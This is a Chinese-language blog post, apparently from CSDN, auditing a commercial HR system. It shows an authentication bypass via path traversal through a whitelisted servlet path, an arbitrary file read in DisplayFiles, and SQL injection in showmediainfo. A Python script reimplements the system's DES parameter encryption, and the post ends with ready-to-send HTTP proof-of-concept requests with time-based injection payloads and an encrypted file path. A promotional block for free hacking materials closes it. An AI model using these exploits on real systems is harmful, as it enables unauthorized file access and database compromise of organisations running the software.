过滤器查找+漏洞审计+加解密算法破解
0x00 前言
我只能说,某景漏洞多的一。。。。。。
今天,就捡两个公开过的漏洞进行下审计吧
0x01 过滤器查找
有经验的师傅都知道,此系统很多接口是做了鉴权的,并不能未授权访问。但是,有的接口加白了,可以通过加白接口进行路径穿越绕过鉴权。
废话不多说,开始正题。一般过滤器都会在web.xml里找到对应的接口与类名,搜索单词filter,定位到HireKeywordFilter类
查看代码,var3.doFilter(var1, var2);
这行代码是调用FilterChain对象的doFilter
方法,将ServletRequest对象和ServletResponse对象传递给下一个过滤器或Servlet进行处理。在Servlet过滤器中,通过调用FilterChain
的doFilter
方法,可以将请求传递给过滤器链中的下一个过滤器,或者如果没有下一个过滤器了,则传递给Servlet进行处理。
在这个例子中,若var6也就是uri是以/w_selfservice/oauthservlet开头的,即执行var3.doFilter(var1, var2);
。那么当我访问其他接口。则使用/w_selfservice/oauthservlet…/…/即可绕过鉴权
0x02 漏洞审计
在此,以最近爆出的DisplayFiles文件读取和showmediainfo注入为例开始审计。
DisplayFiles文件读取
web.xml搜索DisplayFiles,定位到代码:
可见从前端接受参数filepath,赋值给var3变量,var3经过SafeCode.decode方法,PubFunc.decrypt方法后,得到明文,根据方法名就可以初步猜测是解码和解密操作。后续就很简单了,var3传入File类,赋值给var4,开始获取文件的字节流并输出到响应里面
showmediainfo注入
web.xml搜索showmediainfo,定位到代码:
前端接受usernumber、i9999、kind三个参数,分别赋值给var3、var4、var5三个变量。而后续逻辑明显可以看到sql语句的拼接,也就是注入点。发现var3和var4可注入,而var5是作为if的判断值。var3参数也经过 PubFunc.decrypt的解密。因此这个接口的注入,var4是比较简单的,var3需要经过解密操作。
0x03 加解密破解
由上方的漏洞审计可知,两个漏洞参数都需要进行解密操作,意味着前端传入的参数值是一个密文。跟进解密方法查看代码。刚好看到加密方法也在上方。
public static String encrypt(String var0) {
if (null \== var0) {
return "";
} else {
String var1 = SafeCode.encrypt(var0);
var1 = var1.replaceAll("%", "@2HJ5@");
var1 = var1.replaceAll("\\\\+", "@2HJB@");
var1 = var1.replaceAll(" ", "@2HJ0@");
var1 = var1.replaceAll("\\\\/", "@2HJF@");
var1 = var1.replaceAll("\\\\?", "@3HJF@");
var1 = var1.replaceAll("#", "@2HJ3@");
var1 = var1.replaceAll("&", "@2HJ6@");
var1 = var1.replaceAll("=", "@3HJD@");
var1 = var1.replaceAll("\\r\\n", "").replaceAll("\\n", "").replaceAll("\\r", "");
var1 = var1.replaceAll("@", "PAATTP");
return var1;
}
}
public static String decrypt(String var0) {
if (null \== var0) {
return "";
} else {
var0 = var0.replaceAll("PAATTP", "@");
var0 = var0.replaceAll("@2HJ5@", "%");
var0 = var0.replaceAll("@2HJB@", "\\\\+");
var0 = var0.replaceAll("@2HJ0@", " ");
var0 = var0.replaceAll("@2HJF@", "\\\\/");
var0 = var0.replaceAll("@3HJF@", "\\\\?");
var0 = var0.replaceAll("@2HJ3@", "#");
var0 = var0.replaceAll("@2HJ6@", "&");
var0 = var0.replaceAll("@3HJD@", "=");
String var1 = SafeCode.decrypt(var0);
return var1;
}
}
先看加密方法,首先var0参数传入到SafeCode.encrypt方法进行加密,跟进此方法,可以看到使用的是des加解密函数,为对称加密算法,意味着只要有加密密钥,即可正向加密,也可逆向解密。而加密密钥即为下图马赛克的值(这属于厂商敏感信息,不明文展示了):
搞懂了加解密算法实际为des加解密,然后再回到PubFunc.encrypt方法,可知进行了des加密后,又要把密文的%,+,/等字符(具体看上方代码)进行一个替换,得到最终的密文。而同样的,查看PubFunc.decrypt方法代码,可得是加密的逆向操作,先对密文进行字符串替换,得到des的密文,再进行des解密。使用此逻辑写python加解密脚本,如下:
from Crypto.Cipher import DES
from Crypto.Util.Padding import pad, unpad
from base64 import b64encode, b64decode
def encrypt(key, data):
key = key.encode('utf-8')
data = data.encode('utf-8')
iv = b'\x01\x02\x03\x04\x05\x06\x07\x08' # 初始化向量
cipher = DES.new(key, DES.MODE_CBC, iv)
ct_bytes = cipher.encrypt(pad(data, DES.block_size))
var1=b64encode(ct_bytes).decode('utf-8')
var1 = var1.replace("%", "@2HJ5@");
var1 = var1.replace("+", "@2HJB@");
var1 = var1.replace(" ", "@2HJ0@");
var1 = var1.replace("/", "@2HJF@");
var1 = var1.replace("?", "@3HJF@");
var1 = var1.replace("#", "@2HJ3@");
var1 = var1.replace("&", "@2HJ6@");
var1 = var1.replace("=", "@3HJD@");
var1 = var1.replace("\r\n", "").replace("\n", "").replace("\r", "");
var1 = var1.replace("@", "PAATTP");
return var1
def decrypt(key, encrypted_data):
key = key.encode('utf-8')
encrypted_data = encrypted_data.replace("PAATTP", "@");
encrypted_data = encrypted_data.replace("@2HJ5@", "%");
encrypted_data = encrypted_data.replace("@2HJB@", "+");
encrypted_data = encrypted_data.replace("@2HJ0@", " ");
encrypted_data = encrypted_data.replace("@2HJF@", "/");
encrypted_data = encrypted_data.replace("@3HJF@", "?");
encrypted_data = encrypted_data.replace("@2HJ3@", "#");
encrypted_data = encrypted_data.replace("@2HJ6@", "&");
encrypted_data = encrypted_data.replace("@3HJD@", "=");
encrypted_data = b64decode(encrypted_data)
iv = b'\x01\x02\x03\x04\x05\x06\x07\x08' # 初始化向量
cipher = DES.new(key, DES.MODE_CBC, iv)
pt_bytes = unpad(cipher.decrypt(encrypted_data), DES.block_size)
return pt_bytes.decode('utf-8')
if __name__ == "__main__":
key = "xxxxx"
data = "1' if db_name(1)='master' waitfor delay '0:0:6'--+"
encrypted_data = encrypt(key, data)
print("Encrypted:", encrypted_data)
encrypted_data='0JALorlQogBNgRuaXkp7QCus5DXQ1K1RU60C2QunGQUgKkcXUh9HXukA75IwTpCaGcqFlluMQLvPAATTP2HJFPAATTPgvSl8mZXxPAATTP2HJFPAATTPe2LWnL7Rg2Ceg0zzONMioPAATTP3HJDPAATTP'
decrypted_data = decrypt(key, encrypted_data)
print("Decrypted:", decrypted_data)
运行示意图:
0x04 最终poc
DisplayFiles文件读取
读取c:/windows/win.ini,先加密路径:
发送poc:
POST /templates/attestation/../../servlet/DisplayFiles HTTP/1.1
Host:
User-Agent:Mozilla/5.0 (X11; OpenBSD i386) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.125 Safari/537.36
Content-Type: application/x-www-form-urlencoded
Content-Length: 41
filepath=Iy4ZOyMhERdhPLlFrJHBaRdJo53c25S1
showmediainfo注入
先是简单的i9999参数注入,不走if (var5.equalsIgnoreCase(“0”)),即令kind=1,为字符型注入。payload:’ waitfor delay ‘0:0:6’–+
poc:
POST /templates/attestation/../../workbench/duty/showmediainfo HTTP/1.1
Host:
User-Agent:Mozilla/5.0 (X11; OpenBSD i386) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.125 Safari/537.36
Content-Type: application/x-www-form-urlencoded
Content-Length: 53
kind=1&usernumber=&i9999=12' waitfor delay '0:0:6'--+
然后是usernumber注入,需要进入if (var5.equalsIgnoreCase(“0”)),即令kind=0,还需要加密payload:
poc:
POST /templates/attestation/../../workbench/duty/showmediainfo HTTP/1.1
Host: 127.0.0.1:8080
User-Agent:Mozilla/5.0 (X11; OpenBSD i386) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.125 Safari/537.36
Content-Type: application/x-www-form-urlencoded
Content-Length: 84
kind=0&usernumber=i8hoHAILh4YkvJtIAayRbk4pSpIEAvWmx22WPMFig6wPAATTP3HJDPAATTP&i9999=
今天只要你给我的文章点赞,我私藏的网安学习资料一样免费共享给你们,来看看有哪些东西。
网络安全学习资源分享:
给大家分享我自己学习的一份全套的网络安全学习资料,希望对想学习 网络安全的小伙伴们有帮助!
零基础入门
对于从来没有接触过网络安全的同学,我们帮你准备了详细的学习成长路线图。可以说是最科学最系统的学习路线,大家跟着这个大的方向学习准没问题。
【点击免费领取】CSDN大礼包:《黑客&网络安全入门&进阶学习资源包》
1.学习路线图
攻击和防守要学的东西也不少,具体要学的东西我都写在了上面的路线图,如果你能学完它们,你去接私活完全没有问题。
2.视频教程
网上虽然也有很多的学习资源,但基本上都残缺不全的,这是我自己录的网安视频教程,上面路线图的每一个知识点,我都有配套的视频讲解。【点击领取视频教程】
技术文档也是我自己整理的,包括我参加大型网安行动、CTF和挖SRC漏洞的经验和技术要点,电子书也有200多本【点击领取技术文档】
(都打包成一块的了,不能一一展开,总共300多集)
3.技术文档和电子书
技术文档也是我自己整理的,包括我参加大型网安行动、CTF和挖SRC漏洞的经验和技术要点,电子书也有200多本【点击领取书籍】
4.工具包、面试题和源码
“工欲善其事必先利其器”我为大家总结出了最受欢迎的几十款款黑客工具。涉及范围主要集中在 信息收集、Android黑客工具、自动化工具、网络钓鱼等,感兴趣的同学不容错过。
最后就是我这几年整理的网安方面的面试题,如果你是要找网安方面的工作,它们绝对能帮你大忙。
这些题目都是大家在面试深信服、奇安信、腾讯或者其它大厂面试时经常遇到的,如果大家有好的题目或者好的见解欢迎分享。
参考解析:深信服官网、奇安信官网、Freebuf、csdn等
内容特点:条理清晰,含图像化表示更加易懂。
内容概要:包括 内网、操作系统、协议、渗透测试、安服、漏洞、注入、XSS、CSRF、SSRF、文件上传、文件下载、文件包含、XXE、逻辑漏洞、工具、SQLmap、NMAP、BP、MSF…
👋全套《黑客&网络安全入门&进阶学习资源包》👇👇👇
这份完整版的学习资料已经上传CSDN,也可以微信扫描下方CSDN官方认证二维码免费领取【保证100%免费
】